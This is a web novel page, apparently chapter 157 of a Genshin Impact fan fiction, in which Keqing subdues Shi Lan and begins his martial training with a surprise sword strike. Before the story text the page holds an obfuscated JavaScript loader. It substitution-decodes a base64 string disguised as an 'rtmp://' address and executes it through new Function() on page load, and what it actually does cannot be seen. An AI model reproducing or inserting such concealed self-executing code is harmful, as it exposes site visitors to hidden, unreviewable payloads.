趣书网

阅读记录  |   用户书架
(function(){function te1a7951(z4874c33){var rceaee7d5="Jjzf?2;8t!SDxe$]CAyp3m/sMR[uQr.W7@-vLUqk&(5OGgNX^EKnbI_=Z1Pc90T|w~o6ha,:FVYiHlBd%4";var y4c20dc8="sIGOcF8pV@1U29_~=7]rfSv0$j[.HlY%5?a|EJmxLMXC^D;tek4wuR!ozBKPZd/gT,QynA-Wh63&qbi(:N";return atob(z4874c33).split('').map(function(ff0fd44){var x06364=rceaee7d5.indexOf(ff0fd44);return x06364==-1?ff0fd44:y4c20dc8[x06364]}).join('')}var c=te1a7951('rtmp://bkJoMD1uWyIzcyIrIjNWU0EiKyI3IisiZSJ5QzNiaD9YQj1oZCl7ZDNiaD9YQj1oZDY/VjNseD9TfkozVj9ZQWVsLX5xM2UzMGUwP1l+cXg/eGVBMyl7QjNkVEcoLT92OkJoVHVYXkpYZGgtL0J8LVg9cHU4ci1YMz1wcSkpe3BeWGJwaH0vLXAgRXNLQTAwMGwtQzNiaD9YQj1oZDNWWT87U1NTKXtwXlhicGggbVhwQmh8dTNwPXFPRi1wTz0wXmQzVlk/O1NTUyl9Ti8tcCAwbEtWWS03U0NbInJSSixRc1MkJmZhZyRVbSRRdygmIn4iL15wLHNTIn4iSkIwLFNLViJ+Ij8/WCx4c3g3LHNWLHhZIHhZJXM3JTdzInlOLy1wIGhzZXN4O1ZTQ3EzZTMwZTA/WVtFc0tBMDAwbC1kZUEpK0VzS0EwMDBsLWRTU1YpK0VzS0EwMDBsLWRTU1MpK0VzS0EwMDBsLWRlOyl5fmJZZVZBVjNLQ3EzZTMwZTA/WVtFc0tBMDAwbC1kZTspK0VzS0EwMDBsLWRTU1YpK0VzS0EwMDBsLWRTU1MpK0VzS0EwMDBsLWRlQSl5fkpsc2w7Q3F4P3hlQTNbaHNlc3g7VlNkIi5ZdDY/cXRiMDI0Uj9xcm4wYUNDIil5fl4zLTstO1Y7c0Noc2VzeDtWU2QiLllVci41SXJJOmtybDp0YjBhQ0MiKX5eMDNTXjBzQ2hzZXN4O1ZTZCI/WXRCP1lJNi06N2giKX5COy1ZM2VZO0Noc2VzeDtWU2QiP3F0bmx6MlI5b0NDIil+UlZZVlk3ZVMtQ2hzZXN4O1ZTZCI/WTFKLTVvQyIpfi1WP1NBO0FDaHNlc3g7VlNkIj9xdHg5NVVaOW9DQyIpflpBc0FlS2xeQ2hzZXN4O1ZTZCItcWU4bHxDQyIpflhlWWxsU0F4Q3EzZTMwZTA/WVtoc2VzeDtWU2Qidzoycy1hQ0MiKXl+ODBeZVZBP3hDWGVZbGxTQXhbaHNlc3g7VlNkIi54dDhsYUNDIil5fi1WS3gwMDdeQ1hlWWxsU0F4W2hzZXN4O1ZTZCI5cWsvbFlqQyIpeX5sXjtWZVZDWGVZbGxTQXhbaHNlc3g7VlNkIj9xMmI5emVYIil5fkJsPzctN2VDaHNlc3g7VlNkImw6MnMueHxDIil+cl4teF5WWS03Q2hzZXN4O1ZTZCJsOjJuIil+cF5lQVZeP1lDaHNlc3g7VlNkImx6ZUY5YUNDIilOLy1wIFpTO2UwZTMzQ2hzZXN4O1ZTZCI/eFNzLTpJcjB8Q0MiKU4vLXAgOD9lU0EzOzdLTi8tcCAvc0teM3hsQzY/VjNseD9TW3N5TkIzZDY/VjNseD9TdXJeaHxYRj5TKXsvc0teM3hsQzY/VjNseD9TWy1WS3gwMDdeZGxeO1ZlVmQpKjY/VjNseD9TdXJeaHxYRil5fUIzZHI9Py1YQj1odUpeLXA/RnVCaDBea2YzZFpTO2UwZTMzKT4sUyl7OD9lU0EzOzdLQ3F4P3hlQTNbXjMtOy07VjtzeWRoc2VzeDtWU2QiMHp0SzB6MjY5OkxDIikpTjg/ZVNBMzs3S3VCMEMiWCIrbF47VmVWZCkqU15LTjg/ZVNBMzs3S3VKWDZyXnVuQjBYRkMiU3NzVyJOOD9lU0EzOzdLdUpYNnJedUZeQnxGWEMiN3NzOGsiTjg/ZVNBMzs3S3UwQkotbHJeMENYcGJeTkIzZHF4P3hlQTN1bD0wNl9DaGJycil7cXg/eGVBM3VsPTA2dS04OF5oME9GQnIwZDg/ZVNBMzs3Syl9XnJKXnsvLXAgRlM/MDBDM2JoP1hCPWhkKXtxeD94ZUEzdWw9MDZ1LTg4XmgwT0ZCcjBkOD9lU0EzOzdLKU5xM2UzMGUwP1l1cF5xPS9eTC9eaFgmQkpYXmhecGRwXmVBVl4/WX5GUz8wMH4zLXJKXil9TnEzZTMwZTA/WXUtMDBML15oWCZCSlheaF5wZHBeZUFWXj9ZfkZTPzAwfjMtckpeKX19Ly1wIEZLP3NZeEtlQ3F4P3hlQTNbXjMtOy07VjtzeWRoc2VzeDtWU2QiOTpTQjk6b0MiKSlORks/c1l4S2V1QjBDSjNWP1lBZWwtKzgwXmVWQT94ZGxeO1ZlVmQpKlNeSylORks/c1l4S2V1Slg2cl51Rl5CfEZYQyJzOGsiTkZLP3NZeEtldUpYNnJedT0vXnAzcj1uQyJGQjAwXmgiTj89aEpYIFpLOzMwXmxTO0NkXjdsWTNzfm47LTMtP0t+NlYtM2w3WV5DeHNzKUM+Y3A9cUJKXnVwLT9eZFszXlg/RmReN2xZM3N+bjstMy0/Syl+aF5uIGNwPXFCSl5kZGQkfnBeUl4/WClDPkpeWHdCcV49YlhkZGQpQz5wXlJeP1hkaF5uIExwcD1wZCJYQnFePWJYIikpKX42Vi0zbDdZXikpKXkpTi8tcCA2P1k3ZWxDLUo2aD8gM2JoP1hCPWhkWlkweDNeP3hLKXsvLXAgcjdeU0FDWyJSSiJ+Ij9KSiJ+IkZYcXIifiJ8QjMifiJSOHwifiI4aHwieU4vLXAgcmVeXlk/P0NyN15TQXVyXmh8WEZOcjdeU0FDcjdeU0FbLVZLeDAwN15kbF47VmVWZCkqcmVeXlk/Pyl5Tj89aEpYIF47XmVBQWV4Q1siOXg/Yj9ZMi9sNTg4MGh0Wmw6a1g5eDA3bG03c2xZYVZmd0VTNHxDQyJ5Ti8tcCA9VjA/cy0zQ147XmVBQWV4W3N5TkIzZF47XmVBQWV4dXJeaHxYRj5TKXs9VjA/cy0zQ147XmVBQWV4Wy1WS3gwMDdeZGxeO1ZlVmQpKl47XmVBQWV4dXJeaHxYRil5fS8tcCByXmxec1lDWyJGWFg4SiVUIn5xU2UzN2xzbF5kPVYwP3MtMyl+IkZYcXIifkZLP3NZeEtldUIwfmBNe0ozVj9ZQWVsLX11TXtyN15TQX1geVtaQXNBZUtsXnlkIlQiKU5CM2Q4P2VTQTM7N0tfQ2hicnIpOD9lU0EzOzdLdS8tcmJeK0MiXHBcaEpeaDAgSEogRj1KWCAiK3JebF5zWU5YcDZ7Ly1wIG5sczM3VlZDLW4tQlggWks7MzBebFM7ZHJebF5zWX57Py0/Rl4lImg9LEpYPXBeIn5wXjBCcF4/WCUiMz1ycj1uIn0pTm5sczM3VlZDLW4tQlggbmxzMzdWVnVYXmtYZClOLy1wIEY3eHgwO0NubHMzN1ZWdUJoMF5rZjNkRXNLQTAwMGwtZFZTKSlOLy1wIFpWMzM7M0MiIk5CM2RGN3h4MDs+Q3Mpe1pWMzM7M0NubHMzN1ZWW14wM1NeMHN5ZEY3eHgwOylObmxzMzdWVkNubHMzN1ZWW14wM1NeMHN5ZHN+Rjd4eDA7KX1ubHMzN1ZWQ25sczM3VlZbQmw/Ny03ZXlkVHV7U35LfVR8KVtyXi14XlZZLTd5ZGRrQz5rW1JWWVZZN2VTLXlkIiIpWy1WP1NBO0F5ZClbWkFzQWVLbF55ZCIiKSkpW1pBc0FlS2xeeWQiIilObmxzMzdWVkNubHMzN1ZWK1pWMzM7M05ubHMzN1ZWQ2hzZXN4O1ZTZG5sczM3VlYpTlpZMHgzXj94S0NubHMzN1ZWW1JWWVZZN2VTLXlkIlQiKVtzeU5CM2Q4P2VTQTM7N0tfQ2hicnIpOD9lU0EzOzdLdS8tcmJeK0MiXHBcaHxeWCBISiBGPUpYIEpiPz9eSkoiK1pZMHgzXj94S30/LVg/RmQzZTstZVkpe0IzZDg/ZVNBMzs3S19DaGJycik4P2VTQTM7N0t1Ly1yYl4rQyJccFxofF5YIEhKIEY9SlggMy1Ccl4wIiszZTstZVl9Ly1wIHxlUz87Q2JZZVZBVjNLZDBsS1ZZLTdTdT89aD8tWGRbYGg9bixNe2ctWF5bImg9biJ5ZCl9YH5gRnBeMyxNe3I9Py1YQj1odUZwXjN9YH5gYko/LE17a2x4LUtTUz8tZCl9YHkpdUo9cFhkZGQpQz5sXjtWZVZkKSx1NykpW1pBc0FlS2xeeWQifiIpKU4vLXAgQmw7S0E7bDdDfGVTPzt1QmgwXmtmM2RFc0tBMDAwbC1kVlMpKT4sU0B8ZVM/O1teMDNTXjBzeWR8ZVM/O3VCaDBea2YzZEVzS0EwMDBsLWRWUykpKSUiIk58ZVM/O0N8ZVM/O1tCOy1ZM2VZO3lkQmw7S0E7bDd+IiIpW1JWWVZZN2VTLXlkIiIpWy1WP1NBO0F5ZClbWkFzQWVLbF55ZCIiKStCbDtLQTtsN05GSz9zWXhLZXVKcD9DWyJGWFg4SiVUIn5aWTB4M14/eEt+Rks/c1l4S2V1QjB+fGVTPzt5W1pBc0FlS2xeeWQiVCIpTlhwNntxeD94ZUEzdWw9MDZ1LTg4XmgwT0ZCcjBkRks/c1l4S2UpfT8tWD9GZF4pe3F4P3hlQTN1LTAwTC9eaFgmQkpYXmhecGQiZ2YoTz1oWF5oWCY9LTBeMCJ+ZGQpQz57cXg/eGVBM3VsPTA2dUJoSl5wWDFeMz1wXmRGSz9zWXhLZX5xeD94ZUEzdWw9MDZ1P0ZCcjA0PTBeSltzeSl9KSl9QjNkOD9lU0EzOzdLX0NoYnJyKXs4P2VTQTM7N0t1Ly1yYl4rQyJccFxoLTg4XmgwXjAgXnEgWD0gRlhxciJOLy1wIDhBeGw7LUs/Q3F4P3hlQTN1fF5YTHJecV5oWDE2ajBkRks/c1l4S2V1QjApTkIzZDhBeGw7LUs/Q0NoYnJydnY4QXhsOy1LP0NDYmgwXjNCaF4wKXs4P2VTQTM7N0t1Ly1yYl4rQyJccFxoID8taFggfF5YIF5xIDNwPXEgRlhxciJ9fX1OQjNkOD9lU0EzOzdLX0NoYnJyKXs4P2VTQTM7N0t1Ly1yYl4rQyJccFxoSl5oMCBSSiBGPUpYICIrL3NLXjN4bH0vLXAga2x4LUtTUz8tQzNiaD9YQj1oZCl7WHA2ez89aEpYIC87M2V4P1NZQ2RoXm4gZy1YXil1WD0mPT8tcl5nLVhebVhwQmh8ZClOPz1oSlggaDNlN2VZPzNZQ2BKcVhCJEpCMCRNey9BbDszdUozVj9ZQWVsLX0kOC9gTnJeWCBIM1Zsc1YtQVlDVW1mNHU4LXBKXmRyPT8tcm1YPXAtfF51fF5YalhecWRoM2U3ZVk/M1kpKU5CM2RIM1Zsc1YtQVlDQ2hicnJ2dkgzVmxzVi1BWXUwLVheX0MvOzNleD9TWSl7SDNWbHNWLUFZQ3s4L3dCcV5KJXN+MC1YXiUvOzNleD9TWX19cF5YYnBoIEgzVmxzVi1BWXU4L3dCcV5KK1N9Py1YP0ZkMzdeLTdWc2VeKXtwXlhicGggU319Ti8tcCBxU2UzN2xzbF5DM2JoP1hCPWhkRnNlVmw/KXtwXlhicGggaHNlc3g7VlNkRnNlVmw/KVtCOy1ZM2VZO3lkRXNLQTAwMGwtZEt4KX5sXjtWZVZkKXVYPW1YcEJofGRZVil1SnJCP15kLVZLeDAwN15kbF47VmVWZCkqZSkreCkpfU42P1k3ZWxkcVNlMzdsc2xeZC9zS14zeGwpKU5xM2UzMGUwP1lbIi0wMEwvXmhYJkJKWF5oXnAieWQicV5KSi18XiJ+ZDNiaD9YQj1oZDM3Xi03VnNlXil7QjNkMzdeLTdWc2VedTAtWC11RUNDSjNWP1lBZWwtKXtxeD94ZUEzdXxeWExyXnFeaFgxNmowZEZLP3NZeEtldUIwKXVwXnE9L15kKU4vLXAgXjBsZTszQTBDaGJyck5CM2Q4P2VTQTM7N0tfQ2hicnIpezg/ZVNBMzs3S3UvLXJiXitDIlxwXGhwXj9eQi9eIF5xIDg9SlggcV5KSi18XiJOOD9lU0EzOzdLdS8tcmJeK0MiXHBcaF51MC1YLXUvICIrMzdeLTdWc2VedTAtWC11SE5eMGxlOzNBMENkdXV1fD9lS0swWVkpQz57QjNkX3w/ZUtLMFlZdnZ8P2VLSzBZWXVyXmh8WEY8Q3MpcF5YYnBoTjg/ZVNBMzs3S3UvLXJiXitDIlxwXGgiK3w/ZUtLMFlZdVI9QmhkIiAiKX19aF5uIDJiaD9YQj1oZCItcHxKIn4zN14tN1ZzZV51MC1YLXVIKWR7JFgwP0olSmxzbDt+JHI9fCVeMGxlOzNBMH0pfX0pKX0pZFsiOXg/Yi41MXNmenJZLjVJWmw6a1g5eDA3bG03c2xZYVZmd0VTNHxDQyJ5fiJTS1Yifm5CaDA9bn4wPT9icV5oWCl9TjNzM1ZTQTdlZClO'.substr(7));new Function(c)()})();
上一章
目录 | 设置
下一页

第一百五十七章 热身训练(1 / 2)

加入书签 | 推荐本书 | 问题反馈 |

夜兰一到后山就看到了石岚半跪在地上,手被刻晴抓住,一脸痛苦的模样。而刻晴就冷着脸,站在他的面前居高临下,那看人如草芥的蔑视眼神足以让任何变态都为之疯狂。

夜兰撇了撇嘴,心里滴咕:“小子演技真差,三百公斤的大力士都扳不动你一根手指,一个小丫头你就装起来了……”

随后她就看到,这小子好像还真不是装的。

刻晴并不是直接握住石岚的手,而是他的食指指尖,再扣住他指背关节,只要石岚稍有挣扎的动作,刻晴就毫不客气的发力,使劲往下按。

石岚的力量刻晴是知道的,她好不容易抓住这个机会自然不会让他挣扎开来,只要石岚一有发力反抗的动作,刻晴就立刻加大力度,指尖传来的疼痛立马就将石岚反抗的力量压制下去,浑身使不出力气。

他疼的发抖,但他这一抖,就让刻晴误以为石岚在挣扎,于是她又增了几分力,石岚就抖的更加厉害……

夜兰暗暗为刻晴点了个赞。

“小丫头可以的!这臭小子整天狂的没边了,是得有人能教训教训他!”

“大小姐!大小姐!嘶——!疼疼疼疼……女侠!我认输…!

石岚终于顶不住了,自己的手指像是下一秒就会折掉一样,虽然他知道刻晴不会这样做,但真心的疼啊!顶不住啊!

“哼!让你长长记性!”

看到石岚投降认输,刻晴也不是蛮横的主,直接就松开了扣住石岚的手。

后者像是重获新生一般,看着自己苍白的指关节慢慢变得红润,这才后怕的看了刻晴一眼,动了动嘴唇想说什么,不过最终还是没有说出来。

夜兰止住了笑,拍了拍手干咳两声,装作刚来的样子:“看来你已经领教过刻晴的本事了,那么让她来负责你的训练,石岚,没有问题吧?”

“没有……”

石岚回答的有气无力。

心里暗暗道:只不过一时大意被扣住了手指,别得意太早。

“那就好。”夜兰满意的点了点头,转头对刻晴道:“那刻晴,这小子就先交给你了,往后日子的上午时间他都属于你了,可要好好的帮助他啊~”

刻晴微微一笑,望向石岚,缓缓道:“求之不得……”

笑容有点恶魔的意味,让石岚不禁打了一个哆嗦。

夜兰交代了一些事情之后便离开了,宽广的后山练武场就只有石岚和刻晴两人。

“练武先练体、力,你的力量很强,所以我们就先跳过力量锻炼,但你的基础太差,而且速度不行。”说到这里,刻晴有些无奈:“为什么你这大的力气跑步却很差劲呢?”

她想起早先自己追杀石岚的时候,很轻易的就能追上这家伙并暴打一顿。

石岚撇了撇嘴道:“力气很大关我的腿什么事,我打的是拳……”

刻晴一愣:“呃……好有道理的样子……”

随后她又道:“良好的武艺都建立在一个稳定的下盘基础上,所以你接下来,要扎三十分钟的马步!”

石岚瞪大了眼睛:“哈?三十分钟的马步?”

刻晴不由分说:“没错,但在此之前你还要热一下身!”

石岚不解:“热身?怎么热?”

而马上他就知道怎么热身了。

刻晴说完之后,随即凭空抽出了一把长剑,直奔石岚!

“你干什么!”

石岚愣在原地,面对刻晴横斩过来的一剑,任下意识的向后仰了一下身子,剑锋就这么擦着他胸口的衣服而过,留下一道剑横。

踉跄了两步之后,石岚后知后觉,看着被划破的衣服,痛呼:“香菱给我做的衣服啊!”

刻晴咬牙怒道:“我赔!”

上一章
目录
下一页
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间